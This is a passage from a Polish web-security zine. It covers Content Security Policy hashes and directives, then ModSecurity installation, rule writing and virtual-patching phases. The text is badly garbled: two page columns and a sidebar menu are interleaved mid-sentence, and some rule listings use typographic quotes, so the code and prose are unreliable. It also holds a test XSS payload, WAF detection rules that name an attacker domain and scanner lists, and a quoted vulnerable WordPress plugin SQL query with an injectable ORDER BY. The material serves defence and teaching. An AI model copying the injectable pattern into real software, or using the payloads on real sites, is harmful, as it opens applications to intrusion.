Obsługiwane algorytmy jednokierunkowych funkcji skrótu to:
»» sha256,
»» sha384, Rysunek 4. Wartość jednokierunkowej funkcji skrótu dla skryptu "inline".
»» sha512. Mechanizm Service Workers
„COŚ SIĘ KOŃCZY, COŚ ZACZYNA…” – CSP 3.0?
Listing 3. przedstawia sposób użycia mechanizmu Inline Hash: Poniżej wymieniam kilka dyrektyw, które zostały zaimplementowane w niektó- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
rych przeglądarkach i mogą trafić jako element standardu CSP Level 3:
Listing 3. Przykład zastosowania Inline Hash. strażnik bezpieczeństwa aplikacji
»» upgrade-insecure-requests – włącz mechanizm podmieniający wszystkie webowej
<!-- Przykład CSP dla skrótu sha512 ciągu: odwołania do zasobów HTTP do ich wersji HTTPS;
alert('Hello, world.'); »» block-all-mixed-content – zabroń wczytywania zasobów przez niezaufa- Ochrona podatnych aplikacji
-->
Content-Security-Policy: default-src 'self' script-src 'self' 'sha512- ne medium (HTTP), gdy cała strona została załadowana po HTTPS; webowych za pomocą wirtualnych
Q2bFTOhEALkN8hOms2FKTDLy7eugP2zFZ1T8LCvX42Fp3WoNr3bjZSAHeOsHrbV1Fu9/ »» manifest-src – restrykcje dotyczące pliku manifestu mechanizmu „HTML5 Of- poprawek w ModSecurity
A0EzCinRE7Af1ofPrw=='
fline Web Applications”, o którym pisałem w artykule o bezpieczeństwie HTML5
<!-- Zasady zdefiniowane w CSP dopuszczą wykonanie poniższego kodu HTML: --> (przy braku definicji respektuje default-src); Czym jest atak Padding Oracle
<script>alert('Hello, world.');</script> »» referrer – zwiększa kontrolę nad danymi pojawiającymi się w nagłówku Referer,
<!-- Następne trzy wstawki zostaną zablokowane: --> który może spowodować wysłanie wrażliwych danych do obcej domeny. Obecnie Czym jest Bit-Flipping
<script>alert(/XSS/);</script> proponowane wartości tej dyrektywy to:
»» no-referrer – nigdy nie wysyłaj nagłówka, Bezpieczeństwo aplikacji
<script>
alert('Hello, world.'); »» no-referrer-when-downgrade – nie wysyłaj nagłówka, gdy nawiga- webowych: podatności
</script> w mechanizmach uploadu
cja przechodzi ze strony HTTPS na HTTP (podczas nawigacji HTTPS›HTTPS,
<script> alert('Hello, world.');</script> HTTP›HTTP oraz HTTP›HTTPS nagłówek będzie dodawany),
Ukryte katalogi i pliki jako
»» origin – dodawaj tylko nazwę hosta w nagłówku referrer (chroni przed źródło informacji o aplikacjach
wyciekiem informacji znajdujących się w ścieżce oraz tzw. „query stringu”), internetowych
Pamiętaj – podczas wyliczania skrótu przy użyciu jednokierunkowych funkcji skrótu białe »» origin-when-cross-origin – gdy nawigacja będzie w ramach tej samej
znaki mają znaczenie.
domeny (niezależnie od protokołu), wtedy referrer będzie zawierał pełny Czym jest i jak wykorzystać
URL; gdy nawigacja będzie się odbywać między różnymi domenami, refer- podatność Relative Path
Do wyliczenia skrótu ze wskazanego ciągu znaków można użyć poniższych poleceń: rer będzie zawierał tylko nazwę hosta, Overwrite/Path–Relative Style
echo -n "alert('Hello, world.');" Sheet Import (RPO/PRSSI)
| openssl dgst -sha256 -binary | openssl enc -base64 »» unsafe-url – wysyłaj pełny URL w nagłówku referrer (czyli brak restrykcji);
»» reflected-xss – celem dyrektywy jest zastąpienie niestandardowego nagłów-
echo -n "alert('Hello, world.');"
ka X-XSS-Protection, który instruuje przeglądarkę o włączeniu mechani- Mechanizm HTTP Public Key
| openssl dgst -sha256 -binary | openssl enc -base64 –A > hash.txt
zmów „Anti-Reflected-XSS” (czyli „XSS Auditor” w Google Chrome czy jego odpo- Pinning
wiednik w Internet Explorer); możliwe wartości to:
Drugim sposobem dostarczenia wartości skrótu do CSP jest przeczytanie opisu błę- »» allow (wyłącz zabezpieczenie anti-xss),
du naruszenia zasad CSP dla skryptu „inline” i skopiowanie proponowanej wartości »» block (blokuj wykonywanie wykrytego skryptu),
do polityki, tak jak pokazano na poniższym rysunku: »» filter (postaraj się wyłącznie filtrować złośliwy skrypt).

18 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Wszystko o CSP 2.0…

sekurak.pl /  offline 
CZY WARTO STOSOWAĆ CSP?
Content Security Policy jest szybko rozwijającą się, łatwą w zrozumieniu techno-
logią, która skutecznie utrudnia życie crackerom. Pokazuje największą moc wówczas,
gdy jest rozwijana w projektach od samego początku – rygorystyczne polityki znacz- Mechanizm Service Workers
nie zwiększą bezpieczeństwo, a wyższa jakość kodu zmniejsza ogólną liczbę błędów.
Nie ma jednak róży bez kolców. Pobieżne zrozumienie standardu lub zgubienie Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
się w szczegółach dokumentacji, może unieruchomić działanie serwisu. Wdrożone
strażnik bezpieczeństwa aplikacji
zasady należy przetestować w najważniejszych przeglądarkach – najlepiej przy po-
webowej
mocy CSP w trybie raportowania.
CSP nigdy nie może zastąpić bezpiecznego kodu – nowe ograniczenia pomagają Ochrona podatnych aplikacji
zmniejszać skutki ataków (takich jak XSS), ale nie są mechanizmami do zapobiegania im! webowych za pomocą wirtualnych
poprawek w ModSecurity
Aby uniknąć problemów z błędami Cross Site Scripting (XSS), programiści nie mogą poświę-
cić poprawnego kodowania znaków oraz mechanizmów walidacji na rzecz CSP!
Czym jest atak Padding Oracle

Dużym problemem podczas wdrożenia CSP są również biblioteki Javascript imple- Czym jest Bit-Flipping
mentujące tzw. „client–side MVC/MVVM”, które przestają działać przy rygorystycznych
politykach. Z popularnych frameworków jedynie AngularJS od dawna może pochwa- Bezpieczeństwo aplikacji
lić się wsparciem CSP, jednak jest to raczej wyjątek potwierdzający regułę. Miejmy na- webowych: podatności
w mechanizmach uploadu
dzieję, że konkurencja szybko pójdzie za przykładem frameworka firmy Google.
Ukryte katalogi i pliki jako
PODSUMOWANIE źródło informacji o aplikacjach
Wiedza o Content Security Policy szybko rozpowszechnia się wśród programi- internetowych
stów i testerów. Niestety pobieżne zrozumienie CSP może skutkować wprowadza-
niem liberalnych polityk, tylko nieznacznie podnoszących poziom bezpieczeństwa. Czym jest i jak wykorzystać
Zachęcam do dokładnej analizy tego standardu i wdrożenia go do projektów webo- podatność Relative Path
wych, aby skutecznie utrudnić życie potencjalnym agresorom. Overwrite/Path–Relative Style
Content Security Policy staje się uniwersalnym narzędziem konfiguracyjnym za- Sheet Import (RPO/PRSSI)
bezpieczenia strony w przeglądarkach użytkowników. Z nadzieją czekam na kolejne
wersje standardu oraz wdrożenia. Mechanizm HTTP Public Key
Pinning

Adrian 'Vizzdoom' Michalczyk. Interdyscyplinarny bezpiecznik i geek.


Zakochany w dobrej fabule, roleplay’u i fotografii…
Strona domowa autora: http://adrian.michalczyk.website/

19 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Ochrona podatnych aplikacji webowych »» skalowalnością, dzięki ochronie szeregu serwerów WWW w jednym miejscu,
»» ochroną systemów, które nie mogą być restartowane w ramach aktualizacji
za pomocą wirtualnych poprawek oprogramowania,
w ModSecurity »» zapewnianiem bezpieczeństwa starszym aplikacjom, które nie są już rozwijane. Mechanizm Service Workers

Wszystko o CSP 2.0 – Content


Wirtualna poprawka (ang. virtual patch) to wdrażanie w warstwie zabez- Jak widać, wirtualne poprawki mają wiele zalet, jednak należy mieć stale na wzglę-
Security Policy jako uniwersalny
pieczeń mechanizmu umożliwiającego wykrycie i zablokowanie złośli- dzie, że bezpieczeństwo informatyczne to proces wielopłaszczyznowy, nie należy
strażnik bezpieczeństwa aplikacji
wego kodu, zanim dotrze do chronionego zasobu. więc polegać wyłącznie na wirtualnym patchowaniu jako alternatywie dla aktuali-
webowej
zacji oprogramowania w celu redukcji kosztów.
Artykuł koncentruje się na atakach na aplikacje webowe i wykorzystaniu ModSecurity jako Ochrona podatnych aplikacji
narzędzia do wprowadzania wirtualnych poprawek. ModSecurity to oprogramowanie typu
Web Application Firewall (WAF), który działa jako reverse proxy dla protokołu http i jest
JAK DZIAŁA MODSECURITY? webowych za pomocą wirtualnych
oprogramowaniem opensource, z możliwością budowy własnych reguł – zatem jest to na- ModSecurity jako moduł serwera WWW (tu Apache, ale możliwa jest też integra- poprawek w ModSecurity
rzędzie, które umożliwia realizację wirtualnego "patchowania".
cja z NGINX i IIS) jest w stanie przechwytywać i analizować zapytania/odpowiedzi,
Z artykułu dowiesz się:
pracując w dwóch trybach z punktu widzenia architektury bezpieczeństwa: Czym jest atak Padding Oracle
»» co to jest wirtualne "patchowanie",
»» jak działa ModSecurity, »» single-server (host-based) – chroniąc pojedynczy serwer, na którym ten moduł
»» jak zainstalować i skonfigurować ModSecurity, jest doinstalowany, Czym jest Bit-Flipping
»» jak "czytać" i pisać własne reguły,
»» fazy procedury wirtualnego „patchowania”, »» dedykowany serwer reverse-proxy protokołu HTTP, czyli serwer, który przyjmuje
»» piszemy wirtualne poprawki pod różne podatności, wszystkie zapytania HTTP, przetwarza je i następnie przesyła do końcowych ser- Bezpieczeństwo aplikacji
»» jak zobrazować dane z logów: Splunk i ModSecurity.
werów aplikacji webowej. webowych: podatności
w mechanizmach uploadu
PO CO STOSUJE SIĘ WIRTUALNE POPRAWKI?
Ukryte katalogi i pliki jako
Wyobraźmy sobie sytuację, gdy ujawniony zostaje kod exploita, który jest w sta- źródło informacji o aplikacjach
nie zaatakować naszą aplikację. Informacja taka mogłaby na przykład pochodzić od internetowych
zespołu CERT, z własnych systemów honeypot lub z serwisów publikujących infor-
macje o zagrożeniach sieciowych. Producent danego oprogramowania nie przygo- Czym jest i jak wykorzystać
tował jeszcze nowej wersji oprogramowania, odpornej na działanie exploita. Mamy podatność Relative Path
tu do czynienia z klasycznym przykładem exploita typu 0-day, gdzie moment ujaw- Overwrite/Path–Relative Style
nienia podatności jest różny od wydania oficjalnej łatki. W sytuacji, gdy procedury Sheet Import (RPO/PRSSI)
aktualizacji oprogramowania wymagają przeprowadzenia żmudnych testów, czas
niezbędny do zaaplikowania tej poprawki może się znacznie wydłużyć. Zespół od- Mechanizm HTTP Public Key
powiedzialny za zagadnienia ochrony aplikacji webowych powinien w takiej sytuacji Pinning
skorzystać z możliwości, jakie oferują wirtualne poprawki, ponieważ cechują się one:
»» szybkim czasem reakcji,
»» brakiem konieczności modyfikacji kodu aplikacji i związanego z tym ryzyka,
Rysunek 1. Poglądowy schemat działania reverse proxy z ModSecurity.
»» prostotą pisania reguł,

20 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
ModSecurity może również działać w dwóch podstawowych trybach z punktu SecRule REMOTE_ADDR „^192\.168\.” „phase:1, pass, log, msg: 'Podejrzany ruch IP'”

widzenia powstrzymywania ataków:


»» w trybie detekcji, czyli wykrywania ataków i ich logowania (optymalny tryb Powyższa reguła zostanie sprawdzona w pierwszej fazie, zapytanie będzie przeka-
w czasie rozpoznania aplikacji i dostosowywania zbioru reguł tak, by nie bloko- zane do następnej fazy, ale jeśli będzie wysłane z adresu IP rozpoczynającego się od Mechanizm Service Workers
wały normalnego ruchu, który w pewnych okolicznościach może zostać zidenty- „192.168” to zdarzenie to zostanie zapisane w logu.
fikowany jako atak i zablokowany), ModSecurity przetwarza każde zapytanie w cyklu pięciu faz. W ramach każdej z nich Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
»» w trybie prewencji, czyli blokowania ataków i zapobiegania wyciekom danych. reguły są sprawdzane w kolejności, w jakiej są wpisane w pliku konfiguracyjnym reguł,
strażnik bezpieczeństwa aplikacji
a ModSecurity wybiera tylko te reguły, które odpowiadają danej fazie. Zapytanie, które
webowej
ModSecurity „rozumie” protokół HTTP, a poszczególne zapytania i odpowiedzi łączy zostało przepuszczone w ramach fazy 1, może zostać odrzucone na późniejszych eta-
w odpowiadające sobie transakcje, dlatego też jest w stanie filtrować złośliwą ak- pach – np. po analizie parametrów zapytania POST, co odpowiada fazie 2. Ochrona podatnych aplikacji
tywność na różnych etapach ataku. W przetwarzaniu reguł można rozróżnić pięć faz: Oprócz tworzenia własnych reguł, ModSecurity posiada możliwość dołączania webowych za pomocą wirtualnych
1. Request headers (phase:1) – faza po wczytaniu nagłówków zapytania, do konfiguracji predefiniowanych reguł przygotowanych na znane ataki webowe. poprawek w ModSecurity
2. Request body (phase:2) – faza po wczytaniu całego zapytania (większość reguł Reguły te można pobrać ze stron:
jest przetwarzana w tej fazie), »» https://github.com/SpiderLabs/owasp-modsecurity-crs [darmowe] Czym jest atak Padding Oracle
3. Response headers (phase:3)– faza przed wysłaniem nagłówków odpowiedzi, »» https://ssl.trustwave.com/web-application-firewall [płatne]
4. Response body (phase:4) – faza przed wysłaniem ciała odpowiedzi (w ten sposób »» https://www.atomicorp.com/amember/cart/index/index?c=6 [płatne] Czym jest Bit-Flipping
można powstrzymać wyciek danych),
5. Logging (phase:5) – faza po wysłaniu odpowiedzi, przed zalogowaniem (wyłącz- INSTALACJA I KONFIGURACJA MODSECURITY Bezpieczeństwo aplikacji
nie możliwość kontroli procesu logowania zdarzeń). 1. Instalacja
webowych: podatności
w mechanizmach uploadu
ModSecurity można zainstalować jako moduł serwera WWW (tu przykład dla
W konfiguracji ModSecurity definiuje się domyślną akcję, jaką nasz WAF będzie re- serwera Apache w dystrybucji Debian):
Ukryte katalogi i pliki jako
alizował w przypadku, gdy reguła zostanie dopasowana do danego zapytania lub
Listing 1. Instalacja ModSecurity za pomocą apt. Uwaga: może być wymagane włączenie modułu. źródło informacji o aplikacjach
odpowiedzi HTTP, przykładowo: internetowych
SecDefaultAction „phase:2, deny, log, status:403” $ sudo apt-get install libapache2-mod-security2
Czytanie list pakietów… Gotowe
Budowanie drzewa zależności Czym jest i jak wykorzystać
Co należy interpretować: gdy zostanie wczytane zapytanie w fazie drugiej (nie tylko Odczyt informacji o stanie… Gotowe podatność Relative Path
Zostaną zainstalowane następujące dodatkowe pakiety:
HEADER, ale też BODY) i zostanie dopasowane do którejś z reguł SecRule, ModSe- modsecurity-crs Overwrite/Path–Relative Style
curity odrzuci takie zapytanie, zapisze zdarzenie do logu, a klientowi zwróci odpo- Sugerowane pakiety: Sheet Import (RPO/PRSSI)
lua geoip-database-contrib
wiedź z kodem 403 – Forbidden. Zastosowanie akcji drop zamiast deny spowoduje Zostaną zainstalowane następujące NOWE pakiety:
wysłanie pakietu TCP z flagą FIN, co może być bardziej skuteczne w przypadku ata- libapache2-mod-security2 modsecurity-crs Mechanizm HTTP Public Key
ków Denial of Service. $ sudo a2enmod mod-security Pinning
Ingerencja w ruch HTTP w czasie każdej z wyżej wymienionych faz, pozwala na
bardzo elastyczne sterowanie akcjami w ramach implementowania własnych reguł. 2. Konfiguracja
Jeśli chcemy, aby dana reguła została sprawdzona w innej fazie niż określona w do- Pliki konfiguracyjne umieszczone są w trzech lokalizacjach:
myślnej akcji, to dopisujemy numer fazy (phase) np.: »» /etc/modsecurity/modsecurity.conf

21 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
»» /etc/apache2/mods-enabled/security2.conf modsecurity_crs_20_protocol_violations.conf
modsecurity_crs_21_protocol_anomalies.conf
»» /usr/share/modsecurity-crs/ modsecurity_crs_23_request_limits.conf
modsecurity_crs_30_http_policy.conf
modsecurity_crs_35_bad_robots.conf
Podstawowa konfiguracja silnika ModSecurity znajduje się w pliku modsecurity.conf, modsecurity_crs_40_generic_attacks.conf Mechanizm Service Workers
modsecurity_crs_41_sql_injection_attacks.conf
a wraz z modułem zostaje doinstalowany dodatkowy pakiet reguł Core Rule Set. modsecurity_crs_41_xss_attacks.conf
Proces konfiguracji warto rozpocząć od zalecanych ustawień, które znajdują się modsecurity_crs_42_tight_security.conf Wszystko o CSP 2.0 – Content
modsecurity_crs_45_trojans.conf Security Policy jako uniwersalny
w pliku z rozszerzeniem recommended: modsecurity_crs_47_common_exceptions.conf
modsecurity_crs_48_local_exceptions.conf.example strażnik bezpieczeństwa aplikacji
$ sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/ modsecurity_crs_49_inbound_blocking.conf webowej
modsecurity.conf modsecurity_crs_50_outbound.conf
modsecurity_crs_59_outbound_blocking.conf
modsecurity_crs_60_correlation.conf Ochrona podatnych aplikacji
W pliku tym decydujemy o podstawowych parametrach pracy ModSecurity, np. try- webowych za pomocą wirtualnych
bie detekcji lub prewencji: $ sudo ln -s ../base_rules/modsecurity_crs_40_generic_attacks.conf
poprawek w ModSecurity
SecRuleEngine DetectionOnly | On | Off
Po dołączeniu wszystkich niezbędnych plików konfiguracyjnych – w tym plików re- Czym jest atak Padding Oracle
guł – wymagany jest restart serwera:
Zbiór reguł ModSecurity CRS zlokalizowany jest w /usr/share/modsecurity-crs/ Czym jest Bit-Flipping
$ sudo service apache2 restart
$ ls /usr/share/modsecurity-crs/
activated_rules experimental_rules modsecurity_crs_10_setup.conf slr_rules 3. Inne czynności związane z obsługą reguł Bezpieczeństwo aplikacji
base_rules lua optional_rules util
Aktualizacja reguł ModSecurity-CRS odbywa się poprzez apt-get upgrade lub webowych: podatności
w mechanizmach uploadu
aktualizację pojedynczego pakietu, w tym wypadku:
Reguły te dołączamy wpisami do pliku konfiguracyjnego modułu security2.conf $ sudo apt-get install modsecurity-crs --only-upgrade Ukryte katalogi i pliki jako
<IfModule security2_module> źródło informacji o aplikacjach
IncludeOptional /etc/modsecurity/*.conf W zależności od specyfiki aplikacji, część reguł może generować fałszywe alarmy internetowych
IncludeOptional "/usr/share/modsecurity-crs/*.conf"
IncludeOptional "/usr/share/modsecurity-crs/activated_rules/*.conf" i reguły te powinny być wyłączane albo zmodyfikowane. W celu wyłączania reguł
</IfModule > warto skorzystać z ich numerów id. Możemy wyłączać je globalnie, dla konkretnych Czym jest i jak wykorzystać
wirtualnych hostów lub lokalizacji w aplikacji. podatność Relative Path
Reguły z katalogu base_rules należy przejrzeć i dołączyć do konfiguracji przez two- Overwrite/Path–Relative Style
<LocationMatch "/wordpress/wp-login.php">
rzenie linków symbolicznych w katalogu activated_rules: <IfModule security2_module> Sheet Import (RPO/PRSSI)
SecRuleRemoveById 981134
Listing 2. Lista reguł ModSecurity Core Rule Set. </IfModule>
</LocationMatch> Mechanizm HTTP Public Key
Pinning
$ cd /usr/share/modsecurity-crs/activated_rules
$ ls ../base_rules/ Aby pisać własne reguły, należy przygotować osobny plik, który nie będzie nadpi-
modsecurity_35_bad_robots.data
modsecurity_35_scanners.data sywany w czasie aktualizacji pakietów.
modsecurity_40_generic_attacks.data
modsecurity_50_outbound.data $ sudo vi /etc/modsecurity/modsecurity_custom_rules.conf
modsecurity_50_outbound_malware.data

22 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
"CZYTANIE" I PISANIE WŁASNYCH REGUŁ 2. Transakcje
Czytanie i pisanie reguł ModSecurity jest bardzo proste. Silnik WAF oferuje rów- Istnieje specjalny rodzaj kolekcji TX pozwalających na definiowanie własnych
nież kilka rozwiązań, które pomagają elastycznie pisać reguły tak, by mogły skutecz- zmiennych i na przechowywanie w nich danych. Często stosowane jest to do okre-
nie powstrzymywać różne rodzaje ataków webowych, są to: ślania poziomu detekcji dla danego typu zagrożeń, tu chcemy wykryć podejrzane Mechanizm Service Workers
»» zmienne i kolekcje, manipulacje parametrem id:
»» transakcje, Wszystko o CSP 2.0 – Content
SecRule ARGS:id "@gt 5" "pass, t:none,t:length, tx.anomaly_score=+5" Security Policy jako uniwersalny
»» łańcuchy reguł, SecRule ARGS:id "!@rx ^[0-9]*$ " "pass, t:none,t:length, tx.anomaly_score=+5"
SecRule TX:anomaly_score „@gt 5” „deny,log,msg: 'Podejrzana wartość parametru strażnik bezpieczeństwa aplikacji
»» wyrażenia regularne, id'– znaki inne niż cyfry i więcej znaków niż 5'” webowej
»» transformacje,
»» dopasowywanie wzorców (z plików). 3. Łańcuchy reguł Ochrona podatnych aplikacji
W wielu przypadkach – gdy chcemy budować reguły, w których musi zostać webowych za pomocą wirtualnych
Poniższe przykłady powinny jednoznacznie przedstawić, w jaki sposób należy sto- spełnione kilka warunków jednocześnie, należy użyć operatora chain. Ostatnia re- poprawek w ModSecurity
sować wymienione funkcje w czasie definiowania reguł: guła w łańcuchu nie posiada już operatora chain. Dla przejrzystości zapisu, warto
stosować wcięcia tekstu dla połączonych ze sobą reguł. Czym jest atak Padding Oracle
1. Składnia reguły
SecRule REQUEST_URI „/admin” „chain, deny, msg:'Próba logowania do panelu
administratora z nieprzeznaczonych do tego adresów IP, po godzinie 16” Czym jest Bit-Flipping
SecRule Target Operator [Transformation Action] SecRule REMOTE_ADDR „!@rx ^192\.168\.1\.[10-20]” „chain”
SecRule TIME_HOUR „@gt 16”
»» Target – określa część zapytania lub odpowiedzi, która jest analizowana, np. Bezpieczeństwo aplikacji
REQUEST _HEADERS:User_Agent, REQUEST_URI, REMOTE_ADDR. 4. Wyrażenia regularne
webowych: podatności
w mechanizmach uploadu
»» Operator – określa metodę, jaka jest używana do porównania zmiennej z warto- ModSecurity domyślnie stosuje wyrażenia regularne (@rx) w celu dopasowania
ściami w Target, domyślnie jest to @rx, czyli zastosowanie wyrażeń regularnych. reguł. Implementacja tych wyrażeń odpowiada składni języka Perl. Inne sposoby
Ukryte katalogi i pliki jako
»» Transformation – określa, jakimi transformacjami powinno być znormalizowane dopasowania reguł do zawartości zapytań/odpowiedzi HTTP to stosowanie dopa- źródło informacji o aplikacjach
zapytanie lub odpowiedź, np. odkodowanie base64, zamiana znaków na małe sowania łańcuchów znaków (bardziej precyzyjne, ale mniej uniwersalne rozwią- internetowych
litery itp. zanie), a do dyspozycji twórcy przewidzieli następujące operatory: @beginsWith,
»» Action – pole opcjonalne, jeśli chcemy użyć innego działania niż określone @contains, @containsWord, @endsWith, @streq, @within. Czym jest i jak wykorzystać
w SecDefaultAction. podatność Relative Path
SecRule REMOTE_HOST „@endsWith attacker.pwn” „deny, msg: 'Blokowanie zapytań od
»» Zmienne i kolekcje, czyli pojedyncze wartości lub ich zbiory, które chcemy ana- hostów z domeny attacker.pwn'” Overwrite/Path–Relative Style
lizować (pole Target). Sheet Import (RPO/PRSSI)
5. Transformacje
Przykłady: ARGS – kolekcja zawierająca wszystkie parametry zapytania GET i POST, np. Specyfika protokołu HTTP powoduje, że te same efekty można osiągnąć, używa- Mechanizm HTTP Public Key
jąc różnych wartości w zapytaniach. Fakt ten jest podstawą stosowania przez ata- Pinning
SecRule ARGS:username|ARGS:password „admin”
kujących różnego rodzaju technik omijających filtry. Najprostsze sposoby, to prze-
Reguła sprawdza, czy w parametrach zapytania, takich jak username lub password, słanie wartości parametrów zapisanych wielkimi literami np. SCRIPT zamiast script.
przekazywane są wartości „admin”. Bardziej zaawansowane techniki to dodawanie znaków ucieczki „\”, kodowanie
Inne często stosowane kolekcje: ENV, FILES, GEO, IP, REQUEST_*, SESSION, USER. base64 lub URL, dodawanie białych znaków lub komentarzy, np. SEL/**/ECT.

23 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
W celu normalizacji wartości z zapytań HTTP, w ModSecurity stosowane są »» zapewnienie dostępu do pełnych informacji o zapytaniach i odpowiedziach ru-
funkcje transformujące definiowane w polu Action i poprzedzone operatorem „t:”. chu HTTP – podstawowe dane zawarte w access.log stanowią niewystarczające
W tym polu można zastosować kilka takich funkcji transformujących zapytanie. źródło do ochrony aplikacji webowych.
Mechanizm Service Workers
SecRule ARGS "@rx (?i)^php://" \ "phase:2,t:none, t:base64Decode,
t:lowercase,msg:'Wstrzyknięcie zakodowanego w base64 PHP streams'" 2. Identyfikacja
Faza identyfikacji związana jest z poszukiwaniem i uzyskaniem informacji o po- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
Użycie t:none czyści wcześniejsze funkcje transformujące. datności występującej w używanej aplikacji webowej. Rozróżnia się dwa podejścia:
strażnik bezpieczeństwa aplikacji
»» proaktywne, gdy organizacja poszukuje podatności za pomocą testów pene- webowej
6. Dopasowanie wzorców tracyjnych i/lub przeglądów bezpieczeństwa kodów źródłowych,
Dla zwiększenia wydajności przetwarzania reguł, których zapytanie musi być po- »» reaktywne, gdy organizacja o podatności dowiaduje się przez bezpośredni kon- Ochrona podatnych aplikacji
równane z dużą liczbą wzorców, warto stosować pattern matching – operator @pm takt z producentem, publiczne ujawnienie podatności (public disclosure) i najbar- webowych za pomocą wirtualnych
lub @pmFromFile (wzorce zapisane są w osobnym pliku). dziej krytycznie – przez wykrycie incydentu bezpieczeństwa z trwającego ataku. poprawek w ModSecurity
SecRule REQUEST_HEADERS:User_Agent „@pmFromFile /usr/share/modsecurity_extras/
known_web_scanners.txt” „deny, msg: 'blokowanie webowych skanerów podatności na 3. Analiza Czym jest atak Padding Oracle
podstawie wartości User_Agent z nagłówka'”
W czasie analizy należy:
»» określić, czy wirtualna poprawka jest odpowiednim remedium na daną podatność, Czym jest Bit-Flipping
FAZY PROCEDURY WIRTUALNYCH POPRAWEK »» jednoznacznie zidentyfikować podatność po nazwie (CVE lub nadać własną na-
Na podstawie zasad określonych przez OWASP wyróżnia się sześć faz procedury zwę wewnętrzną w organizacji), Bezpieczeństwo aplikacji
wirtualnego „patchowania”, są to: »» określić poziom krytyczności dla tej podatności, ponieważ przydział sił i środków webowych: podatności
w mechanizmach uploadu
1. przygotowanie, powinien być zorientowany na ryzyko, jakie generuje podatność,
2. identyfikacja, »» określić, jakie wersje oprogramowania są podatne i jakie warunki muszą być
Ukryte katalogi i pliki jako
3. analiza, spełnione, aby podatność była „exploitowalna”, np. czy atakujący musi mieć do-
źródło informacji o aplikacjach
4. przygotowania wirtualnej poprawki, stęp zdalny/lokalny, być uwierzytelniony/nieuwierzytelniony, internetowych
5. wdrożenie/testy, »» zgromadzić listę payloadów i kodu exploitów typu Proof of Concept,
6. monitorowanie. »» uzupełnić informacje o podatności w systemie śledzenia błędów, np. Jira, Threadfix. Czym jest i jak wykorzystać
podatność Relative Path
W poszczególnych fazach realizowane są poniższe czynności. 4. Przygotowania wirtualnej poprawki Overwrite/Path–Relative Style
Wirtualna poprawka musi spełniać dwie podstawowe reguły: Sheet Import (RPO/PRSSI)
1. Przygotowanie »» brak false positives czyli fałszywych alarmów,
Faza przygotowania obejmuje następujące zagadnienia: »» brak false negatives, czyli niewykrycia rzeczywistych ataków. Mechanizm HTTP Public Key
»» budowa infrastruktury umożliwiającej wdrażanie wirtualnych poprawek, Pinning
»» uzyskanie zgody na natychmiastowe stosowanie wirtualnych poprawek poza Wirtualne poprawki mogą być budowane ręcznie zgodnie z dwoma modelami:
reżimem testów, będących częścią procesu aktualizacji oprogramowania. Testy »» positive security – białe listy dopuszczonych parametrów komunikacji (zbiór zna-
takie są zwykle rozciągnięte w czasie, ków, długość ciągów znakowych) i blokowanie wszystkich odstępstw od tych reguł,
»» monitorowanie list mailingowych oprogramowania podlegającego ochronie, »» negative security – czarne listy zabronionych parametrów, np. użycie znaków

24 f  PODZIEL SIĘ ZINEM


t f
Bartosz Jerzman  Ochrona podatnych aplikacji webowych…

sekurak.pl /  offline 
specjalnych składni języka SQL, takich jak < ', ” , – , # > . Takie podejście jest bar- Scenariusz #1
dziej zbliżone do przygotowania sygnatur pod charakterystyczne ataki webowe. Podatność
Atak Blind SQLi przez kontrolę parametru, względem którego sortowane są ko-
Wirtualne poprawki mogą być również generowane automatycznie na podstawie lumny w zapytaniu bazodanowym (wyrażenie ORDER BY). Mechanizm Service Workers
raportów o podatnościach w formacie XML za pomocą : Podatność ta nagminnie występuje w wielu różnych pluginach do Wordpressa.
»» skryptu ze zbioru reguł OWASP ModSecurity Core Rule Set (arachni2modsec.pl, Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
zap2modsec.pl), Lokalizacja podatności
strażnik bezpieczeństwa aplikacji
»» narzędzi do śledzenia informacji o błędach np. Threadfix, Podatny jest parametr orderby w zapytaniu GET, przykład plugin SEO by YEOST webowej
»» bezpośrednio, z wykorzystaniem firewalli aplikacyjnych, np. poprzez integrację wersja 1.7.3.3 (disclosure: 11.03.2015). Pomimo zastosowania prób filtracji – złe uży-
skanera podatności Arachni i WAF ModSecurity, cie funkcji esc_sql() – atakujący jest w stanie wykonać atak Blind SQL injection: Ochrona podatnych aplikacji
»» usługi do wirtualnych poprawek Virtual Patching On-Demand Service, gdzie webowych za pomocą wirtualnych
Listing 3. Kod podatnej klasy class-bulk-editor-list-table.php.
można importować dane z 11 najczęściej stosowanych narzędzi typu DAST. poprawek w ModSecurity
$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_
5. Wdrożenia i testy GET['orderby'] ) ) : 'post_title'; Czym jest atak Padding Oracle
Po zaimplementowaniu reguły ModSecurity mającej wirtualnie załatać podatność $orderby = $this->sanitize_orderby( $orderby );
w aplikacji webowej, należy przetestować, czy WAF poprawnie loguje (ale jeszcze nie blo- Czym jest Bit-Flipping
(...)
kuje, aby uniknąć fałszywych alarmów) ataki za pomocą znanych payloadów oraz wyko-
rzystując techniki omijania filtrów WAF/IDS. Stosowane mogą być następujące narzędzia: $query = " Bezpieczeństwo aplikacji
SELECT ID, post_title, post_type, post_status, post_modified, post_date
»» przeglądarka internetowa, FROM {$subquery}
webowych: podatności
WHERE post_status IN ({$all_states}) $post_type_clause w mechanizmach uploadu
»» narzędzia wiersza poleceń: wget, curl, ORDER BY {$orderby} {$order}
»» HTTP proxy, np. Burp Suite, OWASP ZAP, LIMIT %d,%d
Ukryte katalogi i pliki jako
